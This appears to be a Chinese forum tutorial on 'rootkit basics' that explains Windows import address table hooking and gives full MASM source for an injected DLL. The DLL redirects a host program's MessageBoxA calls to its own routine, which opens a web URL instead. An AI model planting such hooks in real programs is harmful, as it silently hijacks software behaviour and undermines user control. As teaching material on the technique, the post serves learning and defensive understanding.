IAT HOOK [Rootkis基础入门]
如上图,[随手画的,可能不对,以我理解解释一下]
PE文件给加载到内存后FirstThunk指向真实的函数地址,即是IAT[导入地址表]
HOOK IAT就是要把IAT里的函数地址换为自己的函数地址。
我这里假设的是OriginalFirstThunk是存在的,[听说有些PE格式构建是把OriginalFirstThuk清零的]
;;;;;;;;;;;
先查找导入表结构中是否有user32.dll这个,若是找到,再在OriginalFirstThuk里查找是否有想要HOOK的函数
若找到了,就替换自己的函数地址
这里FirstThuk里的函数序号是与OriginalFirstThuk里的是一样的。
上代码,程序看附件。[写好就没改了,代码很差,入门的兄弟可以看看,高手指点下。]
程序代码:
;IAT HOOK ;onepc 153785587 ;ml /c /coff dll.asm ;Link /subsystem:windows /Dll /Def:dll.def dll.obj ;/section:.bss,S .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib include shell32.inc includelib shell32.lib .data szTitle db 'Hook',0 szConten db 'Hook MessageBox OK',0 szMesg db 'MessageBoxA',0 szDll db 'user32.dll',0 szWZ db 'http://bbs.',0 szFmatN db '%08x',0 szFmat db '%s',0 .data? hModule dd ? hdllModule dd ? ;oldFunAddr dd ?;旧函数地址 newFunAddr dd ?;新函数地址 dwNum dd ? dwoldAccess dd ? dwNewAccess dd ? dwFirstuck dd ? dwProcess dd ? szBuffer db 250 dup (?) .code _MyHookFun proc pop eax add esp,10h push eax invoke ShellExecute,0,0,addr szWZ,0,0,SW_NORMAL ret _MyHookFun endp ;;;;;;;;;;;;;;;;;;;;;;;;;; _SetApiHook proc invoke GetModuleHandle,NULL ;得到的是exe进程的实例句柄 ; pushad ; invoke wsprintf,addr szBuffer,addr szFmat,eax ; invoke MessageBox,NULL,addr szBuffer,addr szConten,0 ; popad mov hModule,eax mov esi,eax assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS mov ebx,[esi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress add ebx,hModule;RVA+hModule=在内存的实际地址 mov esi,ebx ;指向内存中的导入表地址 assume esi:ptr IMAGE_IMPORT_DESCRIPTOR .while [esi].OriginalFirstThunk || [esi].TimeDateStamp || [esi].ForwarderChain || [esi].FirstThunk || [esi].Name1 mov edi,[esi].Name1 ;指向DLL NAME 的RVA add edi,hModule ;在内存中实际的地址 invoke lstrcmpi,edi,addr szDll ;比较不区分大小写 返回0表示相等 .if !eax ;表示找到dll文件 ; pushad ; invoke wsprintf,addr szBuffer,addr szFmat,edi ; invoke MessageBox,NULL,addr szBuffer,addr szConten,0 ; popad mov edx,hModule add edx,[esi].FirstThunk ;在内存中找到dll这个结构的,指向真实的函数入口地址。[FirstThunk偏移+内存地址] mov dwFirstuck,edx ;第一个地址 ; cmp [esi].OriginalFirstThunk,0 ; jz _exit mov edi,hModule add edi,[esi].OriginalFirstThunk ;指向IMAGE_THUNK_DATA结构数组[OriginalFirstThunk没有给清零的话] mov dwNum,0 .while DWORD PTR [edi]!=0 .if DWORD ptr [edi] & 80000000h ;当双字最高位为0时[表示函数以字符串类型的函数名方式导入],这时低位是一个RVA指向IMAGE_IMPORT_BY_NAME inc dwNum ;计数加1 .else inc dwNum ;计数加1 mov ebx,hModule add ebx,DWORD PTR [edi] ;edi是一个RVA值 assume ebx:ptr IMAGE_IMPORT_BY_NAME invoke lstrcmpi,addr [ebx].Name1,addr szMesg .if !eax ;找到相等的函数 ; pushad ; invoke wsprintf,addr szBuffer,addr szFmat,addr [ebx].Name1 ; invoke MessageBox,NULL,addr szBuffer,addr szConten,0 ; popad ; pushad ; invoke wsprintf,addr szBuffer,addr szFmatN,dwNum ; invoke MessageBox,NULL,addr szBuffer,addr szConten,0 ; popad mov eax,dwNum dec eax mov ecx,4 mul ecx mov edx,dwFirstuck add edx,eax ;序号与OriginalFirstThunk相同 ; pushad ; invoke wsprintf,addr szBuffer,addr szFmatN,edx ; invoke MessageBox,NULL,addr szBuffer,addr szConten,0 ; popad mov dwFirstuck,edx invoke VirtualProtect,edx, sizeof DWORD, PAGE_WRITECOPY, addr dwoldAccess;设为可写 invoke GetCurrentProcess;当前进程伪句柄,需要当前进程的时候可以用 mov dwProcess,eax mov edx,dwFirstuck mov eax,offset _MyHookFun mov newFunAddr,eax invoke WriteProcessMemory,dwProcess,edx,addr newFunAddr,sizeof DWORD,NULL mov edx,dwFirstuck invoke VirtualProtect,edx, sizeof DWORD, dwoldAccess, addr dwNewAccess; 恢复之前的访问属性 jmp _exit .endif .endif add edi,4 .endw jmp _exit .endif add esi,sizeof IMAGE_IMPORT_DESCRIPTOR ;指向下个结构 .endw _exit: ret assume esi:nothing _SetApiHook endp DLLEntry proc _hInstance,_dwReason,_dwReserved ;_hInstance动态链接库的实例句柄 local @dwThreadID mov eax,_dwReason .if eax == DLL_PROCESS_ATTACH push _hInstance pop hdllModule ;保存DLL的句柄 invoke CreateThread,NULL,0,offset _SetApiHook,NULL,\ NULL,addr @dwThreadID invoke CloseHandle,eax .endif mov eax,TRUE ; ret DLLEntry endp End DLLEntry
HookIAT.rar
(12.66 KB)